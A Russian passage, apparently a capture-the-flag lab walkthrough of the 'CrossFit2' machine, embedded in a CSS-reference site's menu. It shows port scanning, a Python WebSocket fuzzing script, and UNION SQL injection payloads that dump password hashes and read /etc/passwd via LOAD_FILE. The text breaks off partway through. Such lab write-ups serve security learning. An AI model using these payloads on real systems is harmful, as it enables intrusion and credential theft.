Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Читай также: «HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост».
Адрес машины — 10.10.10.232, добавляем его в /
как crossfit2.
и приступаем к сканированию портов.
Сканирование портов — стандартный первый шаг при любой атаке. В его результате атакующий узнает, какие службы на хосте принимают соединение. Эта информация позволяет выбрать дальнейший путь к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов для Nmap (опция -A
).
Получаем следующие результаты.
Итак, мы имеем три открытых порта:
Первым делом стоит заглянуть на доступный сайт.
Чтобы ничего не осталось незамеченным, информацию на сайте будем собирать через Proxy. В шапке сайта находим навигацию, а также определяем, что последняя ссылка ведет на другой поддомен: employees.
. Добавим его в файл /
, также изменим имеющуюся у нас запись с crossfit2.
на crossfit.
.
10.10.10.232 crossfit.htb employees.crossfit.htb
На самом сайте нас встречает форма авторизации, больше ничего мы там не получим. Так как все наши действия фиксированы в Burp, заглянем в Burp History. Там мы обнаружим, что при обращении к главной странице делается запрос на еще один поддомен.
Добавим этот поддомен в файл /
и повторим запрос к главной странице. Затем отправимся в Burp и проверим ответ, который вернул сервер при запросе к новому поддомену.
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb
Вкладка Burp HistoryВ ответе видим оповещение о смене протокола на WebSocket.
WebSocket — это протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб‑сервером в режиме реального времени. WebSocket особенно хорош для сервисов, которые нуждаются в постоянном обмене данными, например для онлайновых игр, торговых площадок, чатов.
После установления соединения уже нет деления на клиент и сервер, а есть два равноправных участника обмена данными. Каждый работает сам по себе и, когда надо, отправляет данные другому.
Для просмотра сообщений по протоколу WebSocket перейдем к Burp WebSocket History. Там находим единственное сообщение, в содержимом которого будет приветствие, информация о команде help
и какой‑то токен.
Работать с WebSocket будет удобно с помощью интерактивной консоли. Ее несложно организовать при помощи Python 3 и модуля websockets
.
python3 -mwebsockets ws://gym.crossfit.htb/ws/
Установление соединения WebSocketsПосле подключения нам сразу пришло знакомое сообщение. Давай попробуем получить справку. Сообщение с командой нужно будет отправить тоже в JSON.
{"command":"help"}
Запрос справкиВ ответе нам сообщают о неверном токене, поэтому повторяем отправку, но включаем новый параметр.
{"command":"help","token":"29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}
Повторный запрос справкиНаше сообщение остается без ответа, а после повторной отправки нам вообще сообщают, что токен больше не действителен и дают новый токен. Интересно! Давай поищем фрагмент кода, который отвечает за отправку сообщений. В панели браузера переходим к вкладке Debug и находим файл ws.
.
В коде находим отправку сообщения в параметре message
и токена — в параметре token
. Отправляем свое сообщение в аналогичном формате.
{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}
Повторный запрос справкиНаконец нам пришел ответ, откуда мы узнаем о трех доступных командах: coaches
, classes
и memberships
.
Отправим все три команды и внимательно посмотрим на ответ сервера.
Во всех случаях нам вернули HTML-код страницы. В первом варианте мы получаем просто информацию о тренерах, во втором — список занятий, а вот в ответ на команду memberships
заодно со списком приезжает выбор опций. Реализован он как функция check_availability
, в которую передается число от 1 до 4. Посмотрим код этой функции в уже знакомом файле ws.
.
Функция отправляет три параметра:
message
— содержит строку available
;params
— число, переданное в функцию;token
.
{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233"}
Отправка сообщения availableВ этом сообщении я отправил четыре параметра и получил два разных варианта ответа: успешный и нет. При этом мы еще получаем пояснение в параметре debug
. То есть мы отправляем параметр, который система обрабатывает и дает результат, а значит, это место для тестирования!
Дальше я написал скрипт на Python 3, который в цикле запрашивает параметр.
#!/usr/bin/python3
import json
from websocket import create_connection
def send_command(ws, token):
inp = input("> ")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
ws = create_connection("ws://gym.crossfit.htb/ws/")
req = ws.recv()
token = json.loads(req)['token']
for _ in range(100):
token = send_command(ws, token)
Результат работы скриптаВсе работает, идем дальше.
Так как ответ выбирается в зависимости от отправленного параметра, первым делом я решил проверить SQL-инъекцию. Благо я регулярно составляю словари для тестов и нужный как раз имелся под рукой. Чтобы использовать его, немного подправим код.
import jsonimport timefrom websocket import create_connectiondef send_command(ws, token):
inp = input("> ")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return tokendef send_command2(ws, token, inp):
print("input: <" + inp + ">")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f:
wordlist = f.read().split('n')[:-1]for w in wordlist:
token = send_command2(ws, token, w)
Результат работы скриптаПри отправке любого сообщения, содержащего двойную кавычку ("
), ответа мы не получаем. По этой причине исключим из словаря любую нагрузку, содержащую этот символ. И повторим выполнение.
Просматривая вывод, обнаружим реакцию сервера на четыре нагрузки. Смотрим комментарий SQL:
1 and 1
и 1 and true
вернет действительный ответ;1 and 0
и 1 and false
вернет наш ввод;1 -- -
вернет действительный ответ.Я нашел уязвимость, и теперь ее нужно эксплуатировать. Первым делом найдем нагрузки для эксплуатации, поэтому сменим словарь и повторим выполнение скрипта.
В результате есть реакция на UNION-нагрузки. А именно при отправке -1
получим ответ, параметр name
которого содержит 2
, а при отправке -1
, в параметре id
ответа присутствует имя пользователя базы данных. Такая уязвимость называется UNION SQL Injection и позволяет добавить к выборке столбцы таблицы, которые ранее были нам не видны.
Вернем последние две строки нашего первоначального скрипта для ручной работы и приступим к эксплуатации.
for _ in range(100):
token = send_command(ws, token)
Первым делом получим версию базы данных.
-1UNION ALL SELECT 1,@@version #
Версия базы данныхНа хосте работает MySQL, поэтому дальше мы будем использовать ее синтаксис. Получим имена всех имеющихся баз. Мы можем выводить всего одну строку, поэтому используем функцию GROUP_CONCAT
для объединения нескольких строк в одну, а разделителем будет пробел.
-1UNION ALL SELECT 1,GROUP_CONCAT(schema_name,' ')FROM information_schema.schemata #
Список имен базБаза information_schema
служебная, поэтому нас не интересует. Давай узнаем привилегии нашего пользователя в других базах.
Привилегии пользователя для базМы можем работать как с базой crossfit
, так и с базой employees
. Для начала получим названия таблиц.
Таблицы в базах crossfit и employeesВ базе crossfit
ничего интересного не нашлось — надежду подавала таблица password_reset
, но она оказалась пустой.
Получим названия столбцов в таблице employees
.
Столбцы в таблице employeesМы можем получить учетные данные для сайта. Запросим имена, пароли и адреса электронной почты.
Содержимое таблицы employeesУ нас есть четыре пользователя и хеши от их паролей. С помощью утилиты hashid определим тип хешей.
Наиболее вероятным будет хеш SHA-256 из‑за его популярности, однако с наскока сломать хеши и авторизоваться на сайте не вышло. Ни в онлайновых базах, ни с помощью локального перебора узнать хоть один из прообразов хеша не удалось. Поэтому посмотрим, какие еще у нашего пользователя базы данных есть привилегии.
Привилегии пользователя базы данныхМы можем читать файлы на хосте! Первым делом, конечно же, прочитаем /
.
-1UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #
Находим пользователей node
, david
и john
, у которых есть возможность логиниться в систему. А поскольку мы имеем дело с OpenBSD, абсолютно все службы тоже отражены в этом файле. Просмотрев этот список, отметим демон relayd, который может дать нам новые адреса, и unbound, так как у него есть доступ на внешний порт 8953. Сначала посмотрим настройки релея, прочитав файл /
.
-1UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #
Содержимое файла /etc/relayd.confТак мы находим еще один домен crossfit-club.
, который добавим в файл /
. Сразу просмотрим одноименный сайт, который нас встречает формой авторизации.
Так как запросы мы по‑прежнему делаем через Burp Proxy, нам это помогает определить подключение некоего API, о чем говорит обращение к /
.
При попытке авторизации с тестовыми учетными данными обнаруживаем еще одну страницу, которая работает с форматом JSON.
К тому же на сайте имеется форма регистрации. Кнопка в ней может быть и отключена, но мы можем попробовать все равно авторизоваться — при помощи Burp Repeater. Получим имена переменных из исходного кода страницы и отправим тестовые данные на /
. Но в ответе нам скажут, что эта функция доступна только администратору.
Тут пока больше ничего не сделать, поэтому идем дальше.
|
|